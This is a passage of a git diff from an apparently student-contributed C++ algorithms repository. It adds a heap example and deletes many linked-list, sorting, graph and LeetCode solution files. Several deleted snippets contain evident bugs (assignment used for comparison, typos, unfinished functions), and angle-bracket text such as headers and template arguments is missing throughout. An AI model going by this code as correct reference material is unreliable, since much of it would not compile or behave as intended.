<< HeapArray[i] << endl; + } + for(int i = 0; i < n; i++) + { + int l = (2*(i)) + 1; + int r = (2*(i)) + 2; + if(HeapArray[l] == 0 && HeapArray[r] == 0) + { + continue; + } + cout << HeapArray[i] << "\t Left: " << HeapArray[l] << "\t Right: " << HeapArray[r] << endl; + } + } +}; + +int main() +{ + Heap heap; + heap.insert(8); + heap.insert(9); + heap.insert(7); + heap.insert(1); + heap.insert(4); + heap.insert(2); + heap.insert(11); + heap.insert(14); + heap.Display(); + return 0; +} diff --git a/Add Code Here/C++/HeapDataStructure/find b/Add Code Here/C++/HeapDataStructure/find new file mode 100755 index 00000000000..5ba9d927fbc Binary files /dev/null and b/Add Code Here/C++/HeapDataStructure/find differ diff --git a/Add Code Here/C++/How to find Intersection of two linked list.txt b/Add Code Here/C++/How to find Intersection of two linked list.txt deleted file mode 100644 index 4d70aeb1b64..00000000000 --- a/Add Code Here/C++/How to find Intersection of two linked list.txt +++ /dev/null @@ -1,136 +0,0 @@ -Finding Intersection of two linked list: - -1. Calculate the length of both ll as L1 and L2 -2. Calculate the difference -3. Move d Nodes in longer Linkedlist; -4. then move by one both linked if it become equal then that is the intersection point. - - -SECOND APPROUCH FOR FINDING INTERSECTION -USING STACK - -1. Push the addresses in respective stacks; -2. Pop and compare till we find intersection - a if equal, strore in temporary variable - b if not equal the addresses in temporary variable are the - intersection points. - - -Source Code: ------------------------------------------------------------------------------------------ - -First of All create Node Class and then create 2 other functions - -1. Find Length -2, Find Intersection - -1. int find_length(node *start) -{ - int count = 0; - node *p; - p = start; - while(p!=NULL) - { - count ++; - p = p->next; - } - -return count; -} - - ----------------------------------Finding Intersection-------------------------- - -node *find_intersection(node *p , node *q) -{ - node *larger , *smaller; - int m , n , d , count; - m = find_length(p); //calculate length - n = find_length(q); - - d = m-n; //find difference - if(d < 0) //find absolute value - { - d = d * -1; - } - - if(m > n) // find larger length linked list - { - larger = p; - smaller = q; - } - else - { - larger = q; - smaller = p; - } - - count = 0; - while(count < d) // move d nodes in larger linked list - { - larger = larger->next; - count++; - } - - while(larger != smaller) // then move one step each in both linked lists - { - larger = larger->next; - smaller= smaller->next; - } - - return larger; // this is the intersection - -} - ---------------------------------------The Main Program-------------------------- -int main() -{ - node *p , *q , *intersection; - p = newNode(1); - p->next = newNode(2); - p->next->next = newNode(3); - p->next->next->next = newNode(4); - intersection = p->next->next->next; - p->next->next->next->next = newNode(5); - p->next->next->next->next->next = newNode(6); - - q = newNode(7); - q->next = newNode(8); - q->next->next = intersection; - - cout<<"The Intersection of nodes is<data; -return 0; -} - - - - - -1 pass tow node as parameter in function -2 create four variables m n count larger and smaller -larger and smaller will be pointer variable -3 call the length pass two argument store the function in m and n. -4. find the difference d= m-n; -5 find absolute value -if d<0 d= d*-1; - -6 find the larger linked list if m>n largerb=p else q - -7. - - cnt = 0; - while(cnt < d) // move d nodes in larger linked list - { - larger = larger->next; - cnt++; - } - - while(larger != smaller) // then move one step each in both linked lists - { - larger = larger->next; - smaller= smaller->next; - } - - return larger; // this is the intersection - - diff --git a/Add Code Here/C++/How to find middle of the linked list.txt b/Add Code Here/C++/How to find middle of the linked list.txt deleted file mode 100644 index 2289cc8b6de..00000000000 --- a/Add Code Here/C++/How to find middle of the linked list.txt +++ /dev/null @@ -1,17 +0,0 @@ -How to find the middle node of Linked list - -1. we will create two variable both initailize with head and -the one will one by one step the second will go twice - -when the second one reached to null the middle is the first variable let's see in the program - - -Node* MiddleNode(Node* head){ - Node* slow= head; - Node* fast= head; - while(fast!=NULL && fast->next!=NULL){ - slow=slow->next; - fast= fast->next->next; - } - return slow; -} \ No newline at end of file diff --git a/Add Code Here/C++/How to find the length of linkedlist.txt b/Add Code Here/C++/How to find the length of linkedlist.txt deleted file mode 100644 index c504a9c9797..00000000000 --- a/Add Code Here/C++/How to find the length of linkedlist.txt +++ /dev/null @@ -1,9 +0,0 @@ -void getLength(){ -int count=0; -Node*temp=head; - -while(temp!=NULL){ -count++; -temp=temp->next; -} -cout<<"The length is "< -using namespace std; - -Node* Merge(Node*l1, Node*l2, Node*sort){ - Node*new_head=NULL; - - if(l1==NULL) - return l2; - if(l2=NULL) - return l1; - if(l1 !=NULL && l2!= NULL){ - if(l1->data <=l2->data){ - sort=l1; - l1=sort->next; - } - else{ - sort=l2; - l2=sort->next; - } - new_head=sort; - } - - while(l1 && l2){ - if(l1->data <=l2->data){ - sort->next=l1; - sort=l1; - l1=sort->next; - } - else{ - sort->next=l2; - sort=l2; - l2=sort->next; - } - - } - if(l1==NULL){ - sort->next=l2; - } - if(l2==NULL){ - sort-next=l1; - } -} -int main(){ - - - - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/How to reverse singly and doubly linked list.txt b/Add Code Here/C++/How to reverse singly and doubly linked list.txt deleted file mode 100644 index a14ab6db7e3..00000000000 --- a/Add Code Here/C++/How to reverse singly and doubly linked list.txt +++ /dev/null @@ -1,63 +0,0 @@ -Singly Linked list Reversed Function: -1. Iterative Way: -Node* reverse(Node*n){ -Node* preptr=NULL; -Node* currentptr=head; -Node*nextptr; - -while(currentptr!=NULL){ -nextptr=currentptr->next; -currentptr->next=prevptr; -preptr=currentptr; -currentptr=nextptr; -} - -2. Recursive Way: - -Node recursive(Node* head) -{ -Node*p, *q; - -if(head==null) -return; - -p=head; - -q=p->next; - -if(q==null) -return; -q= recursive(q) -p->next->next=p; -p->next = null; -return q; -} - -==================================================================================================== -Doubly Linkedlist Reversed Function -Node*reverse(){ -Node*current=head; -if(current==NULL) -cout<<"No Node Exist in the linkedList"<next==null) -cout<<"There is only one element in the linkedlist"<prev; -current->prev=current->next; -current->next=temp; -current=current->previ; - - -} -else if (temp!=NuLL){ -temp=temp->prev // this the new head - - -// Important Points: -1. temp points to previous node -2. the previous link of the current node will point to the next node -3. the next node will point to temp -4. go to next node -but the next node is pointed by previous node of the current node -} diff --git a/Add Code Here/C++/How to sort linkedlist Ascending or Descending.txt b/Add Code Here/C++/How to sort linkedlist Ascending or Descending.txt deleted file mode 100644 index 6cf5af3ded9..00000000000 --- a/Add Code Here/C++/How to sort linkedlist Ascending or Descending.txt +++ /dev/null @@ -1,69 +0,0 @@ -#include -using namespace std; - -void AscendingSort() -{ - int temp_value; - if(head==NULL){ - cout<<"The list is Empty"<next!=NULL; i=i->next){ - for(j=i->next; j!=NULL; j=j->next){ - if(i->data>j->data){ - temp_value=i->data; - i->data=j->data; - j->data=temp_value; - } - } - } - } -} - - - -void DescendingSort(){ - int temp_value; - if(head== NULL){ - cout<<"There is no node in the list"<next!=NULL; i=i->next){ - for(j=i->next; j!=NULL; j=j->next){ - if(i->datadata){ - temp_value=j->data; - j->data=i->data; - i->data=temp_value; - } - } - } - } -} -int main(){ - - do{ - cout<<"Ascending order "<>choice; - - if(cchoice==1){ - AscendingSort(); - break; - } - else if(choice==2){ - DescendingSort(); - break; - } - - }while(true); - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/Insertion_Sort.cpp b/Add Code Here/C++/Insertion_Sort.cpp deleted file mode 100644 index 6b8931cc597..00000000000 --- a/Add Code Here/C++/Insertion_Sort.cpp +++ /dev/null @@ -1,17 +0,0 @@ -#include -using namespace std; -int main(){ - int arr[5]={12, 11, 13, 5, 6}; - int i,j,key; - int n=5; - for(int i=0;iarr[j+1]){ - swap(arr[j],arr[j+1]); - } - } - } -for(int i=0;i &v,int left,int right ) - { - int mid=(left+right)/2; - - if(left==right) - return v[left]; - int leftans=msd(v,left,mid); - int rightans=msd(v,mid+1,right); - int temp=0; - int leftmax=v[mid]; - int rightmax=v[mid+1]; - for(int i=mid;i>=left;i--) - { - temp+=v[i]; - if(temp>leftmax) - leftmax=temp; - - } - temp=0; - for(int i=mid+1;i<=right;i++) - { - temp+=v[i]; - if(temp>rightmax) - rightmax=temp; - - } - return max((leftans,rightans),leftmax+rightmax); - - - - } - int maxSubArray(vector& nums) { - return msd(nums,0,nums.size()-1); - - - } -}; diff --git a/Add Code Here/C++/Kadane_Algorithm.cpp b/Add Code Here/C++/Kadane_Algorithm.cpp deleted file mode 100644 index 87d6e8b6cd6..00000000000 --- a/Add Code Here/C++/Kadane_Algorithm.cpp +++ /dev/null @@ -1,23 +0,0 @@ -#include -using namespace std; -int kadanes(int array[],int length) { - int highestMax = 0; - int currentElementMax = 0; - for(int i = 0; i < length; i++){ - currentElementMax =max(array[i],currentElementMax + array[i]) ; - highestMax = max(highestMax,currentElementMax); - } - return highestMax; -} -int main() { - cout << "Enter the array length: "; - int l; - cin >> l; - int arr[l]; - cout << "Enter the elements of array: "; - for (int i = 0; i < l; i++) { - cin >> arr[i]; - } - cout << "The Maximum Sum is: "< +using namespace std; + +int maxSubArraySum(int a[], int size) +{ + int max_so_far = INT_MIN, max_ending_here = 0; + + for (int i = 0; i < size; i++) { + max_ending_here = max_ending_here + a[i]; + if (max_so_far < max_ending_here) + max_so_far = max_ending_here; + + if (max_ending_here < 0) + max_ending_here = 0; + } + return max_so_far; +} + +int main() +{ + + int n ; +cin>>n; + int a[n]; + for(int i=0;i>a[i]; + } + int max_sum = maxSubArraySum(a, n); + cout << "Maximum contiguous sum is " << max_sum; + return 0; +} diff --git a/Add Code Here/C++/KnightsTour.cpp b/Add Code Here/C++/KnightsTour.cpp deleted file mode 100644 index ecbd6be41cb..00000000000 --- a/Add Code Here/C++/KnightsTour.cpp +++ /dev/null @@ -1,26 +0,0 @@ -#include -using namespace std; -//simple travelling that works for square matrix -void recur_travel(int mat[4][4],int row,int col,int n){ - if(row == n && col == n) - return; // base condition - mat[row][col] = 1; //marking visited cells - recur_travel(mat,row+1,col+1,n); //resursion travels to row+1, col+1 - //if the matrix is not square this will fail and end up in memory error as - //the stack will keep on building and never have the base condition - //p.s. just for explaination -} -int main() { - // your code goes here - int mat[4][4]; - memset(mat,0,sizeof(mat)); - recur_travel(mat,0,0,4); //calling recur function - //print the path matrix - for(int i = 0;i<4;i++) - { - for(int j = 0;j<4;j++) - cout< -using namespace std; -struct Node -{ - int u; - int v; - int weight; - Node(int first, int second, int wt) - { - u = first; - v = second; - weight = wt; - } -}; -bool cmp(Node a, Node b) -{ - return a.weight < b.weight; -} - -int findPar(int u, vector &parent) -{ - if (u == parent[u]) - return u; - return parent[u] = findPar(parent[u], parent); -} - -void unionn(int u, int v, vector &parent, vector &rank) -{ - u = findPar(u, parent); - v = findPar(v, parent); - if (rank[u] < rank[v]) - { - parent[u] = v; - } - else if (rank[v] < rank[u]) - { - parent[v] = u; - } - else - { - parent[v] = u; - rank[u]++; - } -} - -int main() -{ - int n, m; - cin >> n >> m; - vector v; - for (int i = 0; i < m; i++) - { - int x, y, w; - cin >> x >> y >> w; - v.push_back(Node(x, y, w)); - } - sort(v.begin(), v.end(), cmp); - vector parent(n, 0), rank(n, 0); - for (int i = 0; i < n; i++) - { - parent[i] = i; - } - - int cost = 0; - vector> mst; - - for (auto it : v) - { - if (findPar(it.v, parent) != findPar(it.u, parent)) - { - cost += it.weight; - mst.push_back({it.u, it.v}); - unionn(it.u, it.v, parent, rank); - } - } - cout << cost << endl; - for (auto it : mst) - { - cout << it.first << " - " << it.second << endl; - } - return 0; -} diff --git a/Add Code Here/C++/Kth_smallest_element.cpp b/Add Code Here/C++/Kth_smallest_element.cpp deleted file mode 100644 index 8fc33056ba7..00000000000 --- a/Add Code Here/C++/Kth_smallest_element.cpp +++ /dev/null @@ -1,54 +0,0 @@ -//{ Driver Code Starts -//Initial function template for C++ - -#include -using namespace std; - -// } Driver Code Ends -//User function template for C++ - -class Solution{ - public: - // arr : given array - // l : starting index of the array i.e 0 - // r : ending index of the array i.e size-1 - // k : find kth smallest element and return using this function - int kthSmallest(int arr[], int l, int r, int k) { - //code here - priority_queue q; - for(int i = l; i < k; ++i) { - q.push(arr[i]); - } - for(int i = k; i <= r; ++i) { - if(q.top() > arr[i]) { - q.pop(); - q.push(arr[i]); - } - } - return q.top(); - } -}; - -//{ Driver Code Starts. - -int main() -{ - int test_case; - cin>>test_case; - while(test_case--) - { - int number_of_elements; - cin>>number_of_elements; - int a[number_of_elements]; - - for(int i=0;i>a[i]; - - int k; - cin>>k; - Solution ob; - cout< +#include + +using namespace std; + +string findLongestCommonSubsequence(const string& text1, const string& text2, int dp[][11]) +{ + int m = text1.length(); + int n = text2.length(); + + string lcs; + int i = 0, j = 0; + + while (i < m && j < n) + { + if (text1[i] == text2[j]) + { + lcs += text1[i]; + i++; + j++; + } + else if (dp[i + 1][j] >= dp[i][j + 1]) + { + i++; + } + else + { + j++; + } + } + + return lcs; +} + +int longestCommonSubsequence(const string& text1, const string& text2) +{ + int m = text1.length(); + int n = text2.length(); + + const int MAX_M = 10; + const int MAX_N = 10; + + int dp[MAX_M + 1][MAX_N + 1]; + + for (int i = 0; i <= m; i++) + { + for (int j = 0; j <= n; j++) + { + dp[i][j] = 0; + } + } + + for (int i = m - 1; i >= 0; i--) + { + for (int j = n - 1; j >= 0; j--) + { + if (text1[i] == text2[j]) + { + dp[i][j] = 1 + dp[i + 1][j + 1]; + } + else + { + dp[i][j] = max(dp[i][j + 1], dp[i + 1][j]); + } + } + } + + string lcs = findLongestCommonSubsequence(text1, text2, dp); + cout << "Longest Common Subsequence: " << lcs << endl; + + int result = dp[0][0]; + + return result; +} + +int main() +{ + string text1, text2; + + cout << "Enter the first string: "; + cin >> text1; + + cout << "Enter the second string: "; + cin >> text2; + + int result = longestCommonSubsequence(text1, text2); + cout << "Length of longest common subsequence: " << result << endl; + + return 0; +} diff --git a/Add Code Here/C++/LeetCode-PathSum.cpp b/Add Code Here/C++/LeetCode-PathSum.cpp deleted file mode 100644 index 259c9533932..00000000000 --- a/Add Code Here/C++/LeetCode-PathSum.cpp +++ /dev/null @@ -1,19 +0,0 @@ -/** - * Definition for a binary tree node. - * struct TreeNode { - * int val; - * TreeNode *left; - * TreeNode *right; - * TreeNode() : val(0), left(nullptr), right(nullptr) {} - * TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} - * TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} - * }; - */ -class Solution { -public: - bool hasPathSum(TreeNode* root, int targetSum) { - if(!root) return false; - if(!root->left and !root->right and targetSum-root->val == 0) return 1; - return (hasPathSum(root->left,targetSum-root->val)) or (hasPathSum(root->right,targetSum-root->val)); - } -}; diff --git a/Add Code Here/C++/LeetCode_2427_Number_of_Common_Factors.cpp b/Add Code Here/C++/LeetCode_2427_Number_of_Common_Factors.cpp deleted file mode 100644 index 59a233bb842..00000000000 --- a/Add Code Here/C++/LeetCode_2427_Number_of_Common_Factors.cpp +++ /dev/null @@ -1,22 +0,0 @@ -#include -using namespace std; - -int commonFactors(int a, int b) { - int d; - int count=0; - (a>n1>>>n2; -cout<> generate(int numRows) { - vectorarr; - vector> res; - arr.push_back(1); - res.push_back(arr); - for(int i=1;ibrr; - for(int j=0;j<=i;j++){ - if(j==0 || j==i){ - brr.push_back(1); - }else{ - brr.push_back(res[i-1][j-1]+res[i-1][j]); - } - } - res.push_back(brr); - } - return res; - } -}; diff --git a/Add Code Here/C++/Leetcode_2403_Minimum_Time_To_Kill_All_Monsters.cpp b/Add Code Here/C++/Leetcode_2403_Minimum_Time_To_Kill_All_Monsters.cpp deleted file mode 100644 index 3ec30fe0ccf..00000000000 --- a/Add Code Here/C++/Leetcode_2403_Minimum_Time_To_Kill_All_Monsters.cpp +++ /dev/null @@ -1,23 +0,0 @@ -class Solution { -public: -#define ll long long - - ll dp[1<<17]; - - ll dfs(ll mask, ll x, vector &power) { - if(mask==0) return 0; - if(dp[mask]!=-1) return dp[mask]; - ll ans = 1e18; - for(ll i=0; i& power) { - ll n = power.size(); - memset(dp,-1,sizeof(dp)); - ll mask = -1+(1LL< s; - LUPrefix(int n) { - for(int i=1; i<=n+1; i++) s.insert(i); - } - - void upload(int video) { - s.erase(video); - } - - int longest() { - return *s.begin()-1; - } -}; diff --git a/Add Code Here/C++/Leetcode_25_Reverse_nodes_in_k_groups.cpp b/Add Code Here/C++/Leetcode_25_Reverse_nodes_in_k_groups.cpp deleted file mode 100644 index 45601fde49b..00000000000 --- a/Add Code Here/C++/Leetcode_25_Reverse_nodes_in_k_groups.cpp +++ /dev/null @@ -1,33 +0,0 @@ -/** - * Definition for singly-linked list. - * struct ListNode { - * int val; - * ListNode *next; - * ListNode() : val(0), next(nullptr) {} - * ListNode(int x) : val(x), next(nullptr) {} - * ListNode(int x, ListNode *next) : val(x), next(next) {} - * }; - */ -class Solution { -public: - int length(ListNode *head){ - int len=0; - while(head){ - len++; - head=head->next; - } - return len; - } - ListNode* reverseKGroup(ListNode* head, int k) { - if(length(head)next; - curr->next=prev; - prev=curr; - curr=n; - } - head->next=reverseKGroup(curr,k); - return prev; - } -}; diff --git a/Add Code Here/C++/Leetcode_37_Sudoku_Solver.cpp b/Add Code Here/C++/Leetcode_37_Sudoku_Solver.cpp deleted file mode 100644 index 5c6dd17fbe1..00000000000 --- a/Add Code Here/C++/Leetcode_37_Sudoku_Solver.cpp +++ /dev/null @@ -1,47 +0,0 @@ -class Solution { -public: - void solveSudoku(vector>& board) { - solve(board); - } - - - bool isSafe(vector>& board, int row, int col, char ch) { - //row validity - for(int i=0;i<9;i++) { - if(board[row][i] == ch) {return false;} - } - - //col validity - for(int i=0;i<9;i++) { - if(board[i][col] == ch ) {return false;} - } - - //grid validity - int sr = row - row%3; - int sc = col - col%3; - for(int i=0;i<3;i++) - for(int j=0;j<3;j++) { - if(board[sr+i][sc+j] == ch) {return false;} - } - - return true; - } - - bool solve(vector>& board) { - for(int i=0;i<9;i++) { - for(int j=0;j<9;j++) { - if(board[i][j] == '.') { - for(char op = '1'; op<='9'; op++) { - if(isSafe(board,i,j,op)) { - board[i][j] = op; - if(solve(board) == true) return true; - else board[i][j] = '.'; - } - } - return false; - } - } - } - return true; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Leetcode_73.Set_Matrix_zeroes.cpp b/Add Code Here/C++/Leetcode_73.Set_Matrix_zeroes.cpp deleted file mode 100644 index 5572cd1913a..00000000000 --- a/Add Code Here/C++/Leetcode_73.Set_Matrix_zeroes.cpp +++ /dev/null @@ -1,101 +0,0 @@ -#include -using namespace std; -void setZeroes(vector>& matrix) { - set s1; - set s2; - // cout< A; - vector B; - for(auto it : s1) - { - // cout<> m; - - cout << "Enter number of columns (between 1 and 100): "; - cin >> n; - cout << endl << "Enter elements of matrix(only 1 or 0): " << endl; - - // Storing elements of first matrix entered by user. - for(i = 0; i < m; ++i) - { - for(j = 0; j < n; ++j) - { - cout << "Enter element a" << i + 1 << j + 1 << " : "; - cin >> a[i][j]; - } - } - vector> matrix; - for(i = 0; i < m; ++i) - { - vector v; - for(j = 0; j < n; ++j) - { - v.push_back(a[i][j]); - } - matrix.push_back(v); - } - setZeroes(matrix); - for(i = 0; i < m; ++i) - { - for(j = 0; j < n; ++j) - { - cout << matrix[i][j] << " "; - } - cout << endl; - } - return 0; - } diff --git a/Add Code Here/C++/Leetcode_permutations_2.c++ b/Add Code Here/C++/Leetcode_permutations_2.c++ deleted file mode 100644 index b9acecb1f55..00000000000 --- a/Add Code Here/C++/Leetcode_permutations_2.c++ +++ /dev/null @@ -1,24 +0,0 @@ -class Solution { -private: - void solution(vector nums,int index,vector>& ans){ - if(index==nums.size()){ - ans.push_back(nums); - return; - } - unordered_set st; - for(int j=index;j> permuteUnique(vector& nums) { - vector> ans; - int index=0; - solution(nums,index,ans); - return ans; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/LinkedListCycle.cpp b/Add Code Here/C++/LinkedListCycle.cpp deleted file mode 100644 index 314251570ad..00000000000 --- a/Add Code Here/C++/LinkedListCycle.cpp +++ /dev/null @@ -1,53 +0,0 @@ -#include -using namespace std; - -class Node { -public: - int data; - Node* next; -}; - -void push(Node** head_ref, int new_data) -{ - Node* new_node = new Node(); - - new_node->data = new_data; - - new_node->next = (*head_ref); - - - (*head_ref) = new_node; -} - -int detectLoop(Node* list) -{ - Node *slow_p = list, *fast_p = list; - - while (slow_p && fast_p && fast_p->next) { - slow_p = slow_p->next; - fast_p = fast_p->next->next; - if (slow_p == fast_p) { - return 1; - } - } - return 0; -} - -int main() -{ - - Node* head = NULL; - - push(&head, 20); - push(&head, 4); - push(&head, 15); - push(&head, 10); - - - head->next->next->next->next = head; - if (detectLoop(head)) - cout << "Loop found"; - else - cout << "No Loop"; - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/Linklist/all_method.cpp b/Add Code Here/C++/Linklist/all_method.cpp deleted file mode 100644 index 8b454167513..00000000000 --- a/Add Code Here/C++/Linklist/all_method.cpp +++ /dev/null @@ -1,226 +0,0 @@ -#include -using namespace std; - -class node{ -public: - int data; - node* next; - - node(int data){ - this->data = data; - next = NULL; - } -}; -//----------Linked List-----------// -void insertAtHead(node * &head,int data){ - if(head==NULL){ - head = new node(data); - return; - } - //otherwise - node * n = new node(data); - n->next = head; - head = n; -} - -void insertInMiddle(node* &head, int data, int pos){ - if(pos==0){ - insertAtHead(head,data); - } - - else{ - node * temp = head; - for(int jump=1;jump<=pos-1;jump++){ - temp = temp->next; - } - - node * n = new node(data); - n->next = temp->next; - temp->next = n; - - } -} - -node* recReverse(node *head){ - //base case - if(head==NULL or head->next==NULL){ - return head; - } - //otherwise - node* sHead = recReverse(head->next); - head->next->next = head; - head->next = NULL; - return sHead; -} - -void reverse(node *&head){ - node* prev = NULL; - node* current = head; - node * temp; - - while(current!=NULL){ - //store next - temp = current->next; - //update the current - current->next = prev; - - //prev and current - prev = current; - current = temp; - } - - head = prev; - return; -} - - -node* kReverse(node *head,int k){ - //base case - if(head==NULL){ - return NULL; - } - - //reverse the first k nodes - node* prev = NULL; - node* current = head; - node * temp; - int cnt = 1; - - while(current!=NULL and cnt<=k){ - //store next - temp = current->next; - //update the current - current->next = prev; - - //prev and current - prev = current; - current = temp; - cnt++; - } - - if(temp!=NULL){ - head->next = kReverse(temp,k); - } - return prev; -} - -node* merge(node *a, node* b){ - //Complete this method - //base case - if(a==NULL){ - return b; - } - if(b==NULL){ - return a; - } - - //rec case - node * c; - - if(a->data < b->data){ - c = a; - c->next = merge(a->next,b); - } - else{ - c = b; - c->next = merge(a,b->next); - } - return c; -} - -node* midPoint(node *head){ - - node * slow = head; - node * fast = head->next; - - while(fast!=NULL and fast->next!=NULL){ - slow = slow->next; - fast = fast->next->next; - } - return slow; -} - - -//ToDo : MergeSort -node* mergeSort(node * head){ - //base case - if(head==NULL or head->next==NULL){ - return head; - } - - //rec case - node * mid = midPoint(head); - - //Break at the mid - node * a = head; - node * b = mid->next; - mid->next = NULL; - - //Recursive Sort - a = mergeSort(a); - b = mergeSort(b); - - //Merge - return merge(a,b); - -} - - -void printLL(node * head){ - - while(head!=NULL){ - cout <data <<"-->"; - head = head->next; - } - cout < 5 -> 7 -> 10 -> NULL - // 2 , 3, 6 - /* - node* a = NULL; - insertAtHead(a,10); - insertAtHead(a,7); - insertAtHead(a,5); - insertAtHead(a,1); - - node* b = NULL; - insertAtHead(b,6); - insertAtHead(b,3); - insertAtHead(b,2); - node* head = merge(a,b); - printLL(head); - */ - - /* - node* head = NULL; - insertAtHead(head,4); - insertAtHead(head,3); - insertAtHead(head,2); - insertAtHead(head,1); - insertAtHead(head,0); - printLL(head); - head = kReverse(head,3); - printLL(head);*/ - - return 0; -} diff --git a/Add Code Here/C++/Longest Palindromic Substring.cpp b/Add Code Here/C++/Longest Palindromic Substring.cpp deleted file mode 100644 index 55d742d05a9..00000000000 --- a/Add Code Here/C++/Longest Palindromic Substring.cpp +++ /dev/null @@ -1,31 +0,0 @@ -class Solution { -public: - string longestPalindrome(string s) { - int ansR = -1, ansL = -1; - int mxLen = 0, strLen = s.length(); - - for (int i = 0; i < strLen; i++){ - int l = i, r = i; - while (l > -1 && r < strLen && s[l] == s[r]){ - if (mxLen < (r-l+1)){ - ansR = r; - ansL = l; - mxLen = (r-l+1); - } - l--; r++; - } - - l = i; r = i+1; - while(l > -1 && r < strLen && s[l] == s[r]){ - if (mxLen < (r-l+1)){ - ansR = r; - ansL = l; - mxLen = (r-l+1); - } - l--; r++; - } - } - - return s.substr(ansL, (ansR - ansL + 1)); - } -}; diff --git a/Add Code Here/C++/Longest_Common_Subsequence.cpp b/Add Code Here/C++/Longest_Common_Subsequence.cpp deleted file mode 100644 index c95a62a0062..00000000000 --- a/Add Code Here/C++/Longest_Common_Subsequence.cpp +++ /dev/null @@ -1,33 +0,0 @@ -#include -using namespace std; -string longestCommonSubsequence(string str1,string str2) -{ - int len1 = str1.size(); - int len2 = str2.size(); - string dp[len1+1][len2+1]; - - for(int i=0;i<=len1;++i) - for(int j=0;j<=len2;++j) - { - if(i==0 || j==0) - dp[i][j] = ""; - else if(str1[i-1]==str2[j-1]) - dp[i][j] = dp[i-1][j-1]+str1[i-1]; - else - dp[i][j] = dp[i][j-1].size() > dp[i-1][j].size() ? dp[i][j-1]:dp[i-1][j]; - } - return dp[len1][len2]; -} - -int main() -{ - string a,b; - cin>>a>>b; - string ans= longestCommonSubsequence(a,b); - if(ans==""){ - cout<<"No common subsequence found!\n"; - return 0; - } - cout<<"The common subsequence is: "< charIndex(256, -1); - int longest=0,m=0; - for(int i=0;ileft,p,q); - TreeNode* right=lowestCommonAncestor(root->right,p,q); - - if(left!=NULL && right!=NULL) - return root; - - - if(left!=NULL) - return left; - else // - return right; - - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/MCM_Memoised.cpp b/Add Code Here/C++/MCM_Memoised.cpp deleted file mode 100644 index 9f8eefcaba7..00000000000 --- a/Add Code Here/C++/MCM_Memoised.cpp +++ /dev/null @@ -1,41 +0,0 @@ -#include -using namespace std; -int dp[100][100]; - -// Function for matrix chain multiplication -int matrixChainMemoised(int* p, int i, int j) -{ - if (i == j) - { - return 0; - } - if (dp[i][j] != -1) - { - return dp[i][j]; - } - dp[i][j] = INT_MAX; - for (int k = i; k < j; k++) - { - dp[i][j] = min( - dp[i][j], matrixChainMemoised(p, i, k) - + matrixChainMemoised(p, k + 1, j) - + p[i - 1] * p[k] * p[j]); - } - return dp[i][j]; -} -int MatrixChainOrder(int* p, int n) -{ - int i = 1, j = n - 1; - return matrixChainMemoised(p, i, j); -} - -// Driver Code -int main() -{ - int arr[] = { 1, 2, 3, 4 }; - int n = sizeof(arr) / sizeof(arr[0]); - memset(dp, -1, sizeof dp); - - cout << "Minimum number of multiplications is " - << MatrixChainOrder(arr, n); -} diff --git a/Add Code Here/C++/Map in C++ STL.cpp b/Add Code Here/C++/Map in C++ STL.cpp deleted file mode 100644 index 499ce5f101d..00000000000 --- a/Add Code Here/C++/Map in C++ STL.cpp +++ /dev/null @@ -1,57 +0,0 @@ -#include -using namespace std; - -int main() { - // Key Value Pair - // Where the keys are unique and values can be anything - // Maps stores unique keys in sorted order - - // Most Operations works in O(log(n)) - - // Syntax be like : - // map name_of_the_container; - map mp; - // Also can be defined as : - // map > mp; - // Or - // map , int> mp; - for(auto it: mp) cout << "{ " << it.first << ", " << it.second << "}, "; cout << " | SIZE : " << mp.size() << endl; - - // Inserting elements in the map - mp[3] = 333; - for(auto it: mp) cout << "{ " << it.first << ", " << it.second << "}, "; cout << " | SIZE : " << mp.size() << endl; - mp[0] = 0; - for(auto it: mp) cout << "{ " << it.first << ", " << it.second << "}, "; cout << " | SIZE : " << mp.size() << endl; - mp.insert({9,999}); - for(auto it: mp) cout << "{ " << it.first << ", " << it.second << "}, "; cout << " | SIZE : " << mp.size() << endl; - mp.insert({7,777}); - for(auto it: mp) cout << "{ " << it.first << ", " << it.second << "}, "; cout << " | SIZE : " << mp.size() << endl; - mp.emplace(2,222); - for(auto it: mp) cout << "{ " << it.first << ", " << it.second << "}, "; cout << " | SIZE : " << mp.size() << endl; - mp.emplace(5,555); - for(auto it: mp) cout << "{ " << it.first << ", " << it.second << "}, "; cout << " | SIZE : " << mp.size() << endl; - - // Accessing values using key - cout << "mp[3] : " << mp[3] << endl; - cout << "mp[4] : " << mp[4] << endl; // Doesn't Exist - - // Finding element by key - // Returns Iterator - auto find_it1 = mp.find(3); - cout << "Element Found at : " << "{ " << (*find_it1).first << ", " << (*find_it1).second << " }" << endl; - - auto find_it2 = mp.find(69); // Doesn't Exist - if(find_it2 == mp.end()) - cout << "Element not in the map..." << endl; - else - cout << "Element Found at : " << "{ " << (*find_it2).first << ", " << (*find_it2).second << " }" << endl; - - - // Other is same as that of vector and some properties of set - // begin(), end(), rbegin(), rend() - // clear(), empty(), swap(), erase() - - // Upper and Lower Bound functions are supported as well - auto ubit = mp.upper_bound(2); - auto lbit = mp.lower_bound(9); -} diff --git a/Add Code Here/C++/Median_of_two_Sorted_arrays.cpp b/Add Code Here/C++/Median_of_two_Sorted_arrays.cpp deleted file mode 100644 index 46b9cbb29e1..00000000000 --- a/Add Code Here/C++/Median_of_two_Sorted_arrays.cpp +++ /dev/null @@ -1,35 +0,0 @@ -class Solution { -public: - double findMedianSortedArrays(vector& nums1, vector& nums2) - { - int n = nums1.size(); - int m = nums2.size(); - if(n > m ) - return findMedianSortedArrays(nums2,nums1); - int low = 0 ; - int high = n ; - while(low <= high) - { - int divx = low + (high-low)/2; - int divy = (n + m + 1)/2 - divx; - - int maxleft_x = divx == 0 ? -1e9 : nums1[divx - 1]; - int minright_x = divx == n ? 1e9 : nums1[divx ]; - - int maxleft_y = divy == 0 ? -1e9 : nums2[divy - 1]; - int minright_y = divy == m ? 1e9 : nums2[divy ]; - - if(maxleft_x <= minright_y && maxleft_y <= minright_x) - { - if( (n + m) %2 == 0) - return (double)(max(maxleft_y, maxleft_x) + min(minright_y , minright_x))/2; - return (double)max(maxleft_y, maxleft_x); - } - if(maxleft_x > minright_y) - 